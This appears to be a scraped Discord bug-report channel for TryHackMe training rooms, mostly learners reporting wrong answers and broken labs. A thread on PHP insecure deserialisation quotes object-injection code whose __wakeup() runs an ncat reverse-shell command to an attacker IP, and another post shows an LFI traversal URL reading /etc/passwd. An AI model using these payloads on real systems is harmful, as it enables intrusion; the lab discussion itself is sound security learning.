@crystal bolt Ghost of KDC_ERR_PADATA_TYPE_NOSUPP has stuck me as well in offensive Security Lab - Persisting Active Directory - Please push the certs

chrome walrus
#

In the TryHack3M: Sch3Ma D3Mon

There is a small inconvenient submission bug when submitting the answer in Task 1 Question 1.

I misspelled one of the answer by a character off and it accepted it.

glad badger
misty gull
#
  1. Loops repeat until the written code is finished running (true/false)
    (Answer format: ****)
    Might be good to upgrade to yea/nay or y/n format for this answer.

Also, the question is a bit ambiguous IMHO - could instead be (e.g.) Loops repeat until their stop-condition is met (true/false)
https://tryhackme.com/r/room/javascriptbasics

cursive needle
#

Pls help where I did wrong

hazy tiger
cinder spire
proper meadow
gloomy shoal
#

Not sure if this is the best channel to report this, but in /r/room/owasptop10 - task 20 - a reference is made to XSS-Payloads.com (http://www.xss-payloads.com/) . I wanted to try to see if I could find a payload to answer one of the questions in task 20, but the XSS-Payloads.com is no longer working (domain seems to have been abandoned)

rugged canyon
#

yeah that would go here

livid copper
cinder spire
autumn sonnet
#

But open ports are

quaint sparrow
#

Can you screenshot the Target Machine Information?

autumn sonnet
#

Ouh there is a second Maschine please forgive me

quaint sparrow
#

Yeah, The Netcat task has it's own machine. 🙂

autumn sonnet
#

I simply overlooked it

#

I am sorry

quaint sparrow
#

don't worry about, you're not the first, certainly not the last.

reef skiff
#

Found a bit of a bug

stiff jolt
#

Jr Penetration Tester > Introduction to Web Hacking > Intro to SSRF > Task 3 talks about requestbin.com, but that has been rebranded/bought and is now pipedream

glad badger
reef skiff
#

Kali linux default one

glad badger
reef skiff
#

Version 115.8.0.0esr 64 bit

glad badger
#

Can you try it on another browser? It works on Firefox 125.0.2 latest.

reef skiff
#

I will try tomorrow to update the browser and try again

glad badger
#

It should show a modal (popup) with the flag when all tiles are in the right order and have a green highlighting.

reef skiff
#

Yep it did the thing was that i had one of the stuff i can move twice

glad badger
#

Once you close the modal the last piece should disappear from the left-side Contents list, is that what you're referring to?

reef skiff
#

Yep

glad badger
#

That should work in Firefox 125.0.2 😄

#

At least you got the flag though. 🥳

reef skiff
#

Ok so was a visual bug by my own version of the browser ok

junior shore
#

JVM reverse engineering is there not meant to be a .jar file as part of the task files for Task 6?

#

nvm found it

cinder spire
copper leaf
#

About this room: https://tryhackme.com/r/room/encryptioncrypto101
There is this phrase and I think it is wrong:
DO NOT encrypt passwords unless you’re doing something like a password manager. Passwords should not be stored in plaintext, and you should use hashing to manage them safely.

#

Because you cannot use the hashing that can be broken with a dictionary attack. To store a psw you need to use other protocols

hazy tiger
copper leaf
hazy tiger
copper leaf
#

If you say it's my misunderstanding, I apologize for bothering you

spiral root
#

Is anyone also experiencing a problem accessing splunk in the Splunk: Data Manipulation? I have the message Error code: 405, Message: Method Not Allowed.

quaint sparrow
spiral root
fiery steeple
#

https://tryhackme.com/r/room/threatinteltools
Task 6 Question 2 - the customer name of the IP address

I was struggling for this so looked up walkthroughs. They show the whois returning the customer name for the IP; however talosintellegence shows the WHOIS is not found (image included)
https://talosintelligence.com/reputation_center/lookup?search=204.93.183.11#whois

The domain name has either redacted the customer name or it does not exist
The hint also advises to run the whois on the IP, achieved by the above link

TryHackMe

Explore different OSINT tools used to conduct security threat assessments and investigations.

cloud drum
#

https://tryhackme.com/r/room/x8664arch
Task 4 - Carry Flag

Denoted by CF, the Carry Flag indicates when the last executed instruction resulted in a number too big or too small for the destination. For example, if we add 0xFFFFFFFF and 0x00000001 and store the result in a 64-bit register, the result will be too big for the register. In this case, CF will be set to 1.
Wasn't it meant to say a 32-bit register instead of a 64-bit one? Because 0x FF FF FF FF are four bytes or 32 bits

TryHackMe

A crash course in x86 architecture to enable us in malware reverse engineering.

opal vale
fervent flicker
#

there is a error in the room OSI Model
https://tryhackme.com/r/room/osimodelzi
in the Task 4 Layer 5 - Session it says that "the session layer will begin to divide up the data sent into smaller chunks of data and begin to send these chunks (packets) one at a time."
as I know the Layer 5 and above PDUs are simply referred to as data.
can anyone explain this

TryHackMe

TryHackMe is a free online platform for learning cyber security, using hands-on exercises and labs, all through your browser!

wheat fractal
#

in this room
https://tryhackme.com/r/room/introtoav
of av evaison it mentions file scan sites that doesn't share data
but the second one i think they upgraded their terms
they clearly say we share data

TryHackMe

Understand how antivirus software works and what detection techniques are used to bypass malicious file checks.

willow wave
#

room https://tryhackme.com/r/room/sysmon
What is the first exe the process executes in Investigation 1?
When you look at the EventViewer logs date/time, the right answer is marked as not being correct

TryHackMe

TryHackMe is a free online platform for learning cyber security, using hands-on exercises and labs, all through your browser!

#

instead when you open the logs, it's the first process creation log that holds the answer, but that's not the first when looking at date/time

#

first process creation is at 6:57:48, while the 'correct' answer is in the process creation log of 6:57:51

zinc barn
#

Hello. The room Phishing Analysis Fundamentals task 4 has a problem. The article used in the link is not working soo there is no way to answer the questions.

livid escarpBOT
#

Gave +1 Rep to @gentle tree (current: #1034 - 3)

amber glen
#

going through the rooms right now, and im super annoyed by that room because it's kind of broken in many places

#

||actually ig nvm it seems raw data and listed data on the namecheap whois site is different......... wtf|| ... also I wouldn't know how to get there unless I looked at the write-ups cuz ||namecheap's whois seems to not link it anywhere unless im blind||

amber glen
#

kind of half irritating at the room, but now I kinda see the situation better that this is on ||namecheap|| for not updating the infos correctly

low wigeon
#

I've been trying to figure out what I'm doing wrong on this room for two days. No matter what, I never get a scan result from Nessus that gives me anything other than Apache version 2.4.25. I thought I was going mad until I saw people mentioning it in here as well. I've even watched walkthroughs and do exactly what they're doing (on two different machines) and still cannot get the results they are.

tall lintel
#

Room: File Inclusion, Task 5 (LFI 2), Question: "Give la Number 2 a try..."

I was able to complete the objective of lab number 3 with the URL http://10.10.251.229/lab3.php?file="includes/../../../../../etc/passwd"

When entering the answer for the question I cannot figure out the right syntax, this is the only way i could get the passwd file to dump, but the format for the answer only has 4 ../s. Either way I cannot find the right syntax for the answer, despite having done what the question asks.

Please help.

fluid gorge
#

In Daily Bugle
In the first question, they want you to type a name but the "correct" answer is spelled different than in the website

quaint sparrow
#

If its the hyphen, it's not a bug.

fluid gorge
#

The website has the hyphen everything but the answer doesn't

#

If thats 👌 then np, not a big problem but got me confused for a second lol

jaunty estuary
#

In the room Snort Task 9, under the General Rule Options section, the Sid description incorrectly says "the rules we will create should have sid greater than 100.000.000" when it should be 1.000.000

sinful frigate
#

Virtualization and Containers room task 6 is dead. This room is for subscribers, which means we pay for it. Please do your job properly!!!

topaz thorn
#

Screenshots would be great, if you can also provide these please

sinful frigate
sinful frigate
sinful frigate
topaz thorn
hot crown
#

is the room in question

#

the post exploitation challenge at the end seems to be broken as the supposed file secrets.txt doesnt exist despite it returning from my search

#

It returned a path but when i cd'ed into it there was nothing

quaint sparrow
#

Can you verify and show a screenshot.

As this worked a few days ago.

hot crown
#

i even tried using cat/edit and other commands the file seemed to have mysteriously vanished

#

one moment

last loomBOT
hot crown
quaint sparrow
hot crown
hot crown
quaint sparrow
# hot crown

Are you going to the correct program files folder, there may be two.

hot crown
quaint sparrow
hot crown
quaint sparrow
#

In that screenshot you're not going to the correct folder.

hot crown
#

ohh

#

x86

#

silly me

quaint sparrow
hot crown
#

my bad sorry for wasting your time

quaint sparrow
#

You didn't waste anybodies time.

You learned something new 🙂

hot crown
#

atleast i can post images now haha

hot crown
#

it's normal and nothing to be ashamed of 😄

frigid phoenix
#

Task 3 Question in https://tryhackme.com/r/room/xss. There is only so many variations of the answer directly above in the module that I would think you could enter but nothing is correct... A pretty simple question with what would seem is the answer right above it.

TryHackMe

TryHackMe is a free online platform for learning cyber security, using hands-on exercises and labs, all through your browser!

#

... nevermind. 😐 Figured it out... sheesh.

misty gull
void vortex
topaz thorn
topaz thorn
#

It’s not the correct answer, it’s not a bug

quaint sparrow
#

Please can you remove the image?

fluid gorge
fluid gorge
quaint sparrow
quaint sparrow
#

To prove a point.

#
  1. I don't need your permission
  2. It removes the full post.
#

Where as they could have just removed the image.

fluid gorge
#

Yeah forgot about nr 2, but you wouldn't have removed the post if I didn't make a my stupid comment 😉
But it's okay Mr Moderator, you are the big boss

#

ples no ban

quaint sparrow
fluid gorge
native forum
livid escarpBOT
#

Gave +1 Rep to @topaz thorn (current: #59 - 118)

topaz thorn
native forum
livid escarpBOT
#

Gave +1 Rep to @topaz thorn (current: #57 - 119)

lyric wasp
#

i cant answer question 3 because of the same reason

quaint sparrow
#

What's *

rocky dune
#

I don't know if this is the right place to ask, but I'm having some performance issues accessing the Burp Suite Room because of the animations on the first 2 sections

TryHackMe

An introduction to using Burp Suite for web application pentesting.

#

For the record, I have a very decent computer and the issue was fixed by deleting the DOM elements

inner terrace
#

I think there's a bug on the "Wireshark: Packet Operations" Task 3 - Question: What is the most used IPv4 destination address?
The correct answer is 10.10.57.178 instead of 10.100.1.33.

cold haven
#

room: insecure_deserialisationv1.37
task: Exploitation - Object Injection
Unless I'm mistaken, I think the vulnerability doesn't work the way the author teaches it.

How it's supposed to work
"when untrusted data is passed to the unserialise() function, allowing attackers to manipulate the serialised data to execute arbitrary code. By crafting a malicious serialised object with a specially crafted wakeup() or destruct() method, attackers can achieve remote code execution, leading to serious security breaches."
My understanding:
If a server unserialize any objects, then we just need to know the name of an existing class to be able to get a RCE

How it really work
If a server unserialize any objects, AND there is a class with a wakeup() or destruct() method AND in one of those function, there is already a code to execute system commands (exec($this->command);) here, then we can get a RCE by sending our own class by changing the value of the command string. Which is a much, much more rarer occurence!

Proof 1:
The content of test.php on the server

<?php
class MaliciousUserData {
    public $command = 'ncat -nv 10.10.190.217 4444 -e /bin/sh';
    public function __wakeup() {
      exec($this->command);
    }
}
...

If we remove the wakeup function from the test.php file -> we can't get a reverse shell anymore

Proof 2:
If we send our own class without a wakeup function, we get a RCE

class MaliciousUserData {
public $command = 'ncat -nv 10.11.85.5 4444 -e /bin/sh'; 
}

Proof 3:
If we create a new public property and try to pass it to our own exec, the code isn't executed

class MaliciousUserData {
public $c = 'ncat -nv ATTACK_IP 4444 -e /bin/sh'; 
    public function __wakeup() { 
    exec($this->c);
    }
}
cold haven
# cold haven room: insecure_deserialisationv1.37 task: Exploitation - Object Injection Unless...

TLDR

  • PHP object injection isn't about "being able to add your own malicous code to an existing class" cf "What if we recreate a class MaliciousUserData with a __wakeup() method, a magic method in PHP that is automatically called during deserialisation?" -> because it doesn't work (cf Proof 1 and 3)
  • it's about "being able to edit a property string" -> cf https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection
full crag
#

@cold haven You are right, the text in the room is at least ambiguous. This exploit only works if you know an exact class (more correct: object) from the server code that you create a copy of in your exploit code. You can only manipulate the properties that exist in the original class and you only ever achieve RCE if the original class was written in such way that it executes user input (here with exec()) and has __wakeup() or similar.

The text does say

From a source code review or considering whether the framework is open source, the pentester knows that test.php contains a class called MaliciousUserData

but before it already sets wrong expectations with

Now, the vulnerability arises when untrusted data is passed to the unserialise() function, allowing attackers to manipulate the serialised data to execute arbitrary code.

That suggest all we need to find is a function that unserializes untrusted data and we get RCE. That's wrong in this context and confusing if you don't know better already, which the typical reader does not.

The vulnerability arises when untrusted data is passed into unserialize() AND an object on the server-side code already executes/evals untrusted data AND contains __wakeup(). At that point the reader hasn't seen the code in test.php. He neither knows that those points are required for the exploit to happen (on the contrary, he is given the impression that's not the case) nor does he know whether they are present in the server-side code. In fact he never sees that file, unless he opens it on the server after(!) running the exploit. Highly confusing.

#

Also from the room
By crafting a malicious serialised object with a specially crafted __wakeup() or __destruct() method, attackers can achieve remote code execution, leading to serious security breaches.
again giving the impression that it's the attacker's choice to implement these functions and achieve RCE that way, when in fact that's only an option if they are already present in the server-side code. I can see how an author who knows this stuff might assume it's obvious, but for someone with no prior knowledge it's misleading.

cold haven
# full crag <@513433170297880576> You are right, the text in the room is at least ambiguous....

Glad to see I'm not the only one confused by this (and that I understood the problem correctly, since I'm learning about PHP Object Injection for the first time).
I don't want to make bad assumption, but I suppose the author thought we're indeed executing our own wakeup() function, because

  • By crafting a malicious serialised object with a specially crafted __wakeup() or __destruct() method, attackers can achieve remote code execution, leading to serious security breaches. (this part indeed)
  • In the given code example, the custom class of the object we're serializing contains it's own wakeup() function cf #room-bugs message

@rough needle If you have the time, could you share your thoughts on this matter? Starting here #room-bugs message

fallow atlas
#

in task 1 it is accepting it as "start" topology. not big issue. just letting you guys know

rough needle
# cold haven Glad to see I'm not the only one confused by this (and that I understood the pro...

Hello
Happy to share my thoughts

My understanding: If a server unserialize any objects, then we just need to know the name of an existing class to be able to get a RCE

This is incorrect. To exploit a PHP Object Injection vulnerability, the application should include a class featuring a PHP magic method (like __wakeup or __sleep) that can be exploited for malicious purposes. All classes involved in the attack should be declared before calling the unserialize() method (unless object autoloading is supported).

Which is a much, much more rarer occurence!

While the insecure deserilisaiotn is not widely exploited like other web vulnerabilities like XSS and SQLi, however, it still poses a significant threat. You can get an idea of how developers make mistakes leading to RCE or arbitrary file deletion by checking the Automation Task (Task 7).
You will be amazed to see how different frameworks like CodeIgniter, Laravel, etc, were vulnerable vectors like __destruct,__wakeup leading to RCE or File Delete, and this is just PHP (see attached image). The attack surface and threat spectrum is huge. Please check this link regarding this vulnerability in other languages/frameworks.
https://www.acunetix.com/vulnerabilities/web/tag/insecure-deserialization/

I really appreciate your input. As you mentioned, you are learning PHP Object Injection for the first time. This actually allowed me to provide better insight and tailor the content according to the audience. I have modified the relevant task content to make it simpler and clearer.

full crag
rough needle
topaz thorn
cold haven
# rough needle Hello Happy to share my thoughts > `My understanding: > If a server unserializ...

Thanks for the quick changes, this part is indeed much clearer now, especially since we're not serializing our own wakeup function anymore which was the most ambiguous part (cf yet an other user that understood it like I did, and no one corrected him #1237418982005538889 message)

Discord

Discord is the easiest way to communicate over voice, video, and text. Chat, hang out, and stay close with your friends and communities.

livid escarpBOT
#

Gave +1 Rep to @rough needle (current: #149 - 46)

gentle smelt
#

Hi, there is a broken functionality in the Room "Obfuscation Principles" I just started the machine and when I browse to /upload-1.php all I get is some XAMPP Warnings and no page

#

Also for Task 4 you are supposed to upload an "Obfuscated" Powershell snippet to /challenge-1.html, however you get the flag even if you upload the original (non-Obfucated) file

pale spoke
#

idk if this is a bug but its very confusing. For one of the questions in the windows event logs task 4 it says look at example 8. In reality its Example 2

whole hedge
#

Hello on burp basic : task 10 Site Map and Issue Definitions someone have any ideas why i cant go trough http:/Machine_ip/ / ?

quaint sparrow
whole hedge
#

using IP from attackbox

quaint sparrow
whole hedge
#

@quaint sparrow yeah

quaint sparrow
#

Or accessing the wrong IP, rather.

whole hedge
#

@quaint sparrow that's not supposed to be the ip machine from tryhack me ?

quaint sparrow
#

Sometimes in Task 1, 2 or 9.

#

Or could be in any task really

last loomBOT
whole hedge
#

@quaint sparrow

quaint sparrow
whole hedge
#

of fuck

#

thanks buddy

terse plume
#

I was solving Investigating window 3.x and there is a file missing in the machine. "Sysmon.evtx". This file is required to solve the 2nd question and all the questions after are inter-dependent.
can anyone help?

harsh vale
#

not really a bug maybe a typo, but the confluence room referring to CVE-2023-22515 has a VM title that refers to CVE-2023-23397

full crag
terse plume
#

yep so is it a bug?

quaint sparrow
terse plume
#

To solve the second question and further questions

quaint sparrow
#

Infact, the full room is solvable without it.

terse plume
#

without the evtx file?

quaint sparrow
#

Yeah.

terse plume
#

ok then .. will try
thanks btw

full crag
#

It's not sysmon that's missing. It's the log file one is supposed to analyse.

quaint sparrow
#

I completed the room without the log file.

full crag
#

The room itself names the sysmon room as a prerequisite

#

Rooms should imo not be fundamentally changed after publishing. This file has existed in the past which allowed using the techniques taught in the rooms that it lists as prerequisites.
Reasonable expectation to assume the file should still be there.

quaint sparrow
#

There isn't very often rooms are changed after they're released.

quaint sparrow
terse plume
quaint sparrow
terse plume
#

okay !!! thanks

restive bone
#

I hope someone could fix wreath network (you can't access gitstack site from local machine after pivoting) , it takes forever.

rugged canyon
restive bone
#

how can i verify that ? it just keeps loading

rugged canyon
#

well the web browsers settings

restive bone
rugged canyon
#

oh never mind then

full crag
#

The link layer part is correct, according to the official snort documentation: Decodes Layer2 headers (snort -e).

#

Same room: Start the Snort instance in verbose mode (-v) and use the interface (-i) "eth0"; sudo snort -v-i eth0 There's a space missing between the flags, it doesn't worke like this.

terse plume
#

@quaint sparrow you were right !!! I don't need the sysmon.evtx file. I had to search some where else .. !!

verbal wren
#

hello please i have issue in room

#

i can't connect to the node and ping 172.... is not working

#

with nmap it's filtred

#

no is not 127 it's 172.23.0.3

#

ip of the node

full crag
#

Oh

#

Now I see it

#

Sorry I'm on the road

rugged canyon
quaint sparrow
#

Hadoop is a network room. technically docker

rugged canyon
#

oh interesting

verbal wren
#

but in the room i can try to check if it available

#

by using ping 172.23.0.3

#

and use nmap for running service on port 808p

#

but the ip edge node is 172.23.0.3

quaint sparrow
verbal wren
#

10 min

quaint sparrow
#

I can't even get the hadoop VPN running.

quaint sparrow
verbal wren
#

yesterday it worked

#

but today i don't know what was the problem

polar rivet
#

there are 164 alerts only if you do any 80 <> any any, but you need to write two rules, any 80 any any and any any any 80, which gives 328 or so. You can only complete the room with both rules, but the first question gives a correct answer with only inbound traffic

full crag
polar rivet
#

How can my answer be wrong and also accepted as correct?

full crag
polar rivet
#

But you can only solve the section if you do the full 328 rules

#

I got mindfucked by this for days trying to figure out why I wasn't getting the right packets

full crag
#

My screenshots explain the issue.

full crag
polar rivet
#

I just finished that section

#

doing it with the 328 packet log file

full crag
#

Open the file in wireshark if you want to confirm yourself.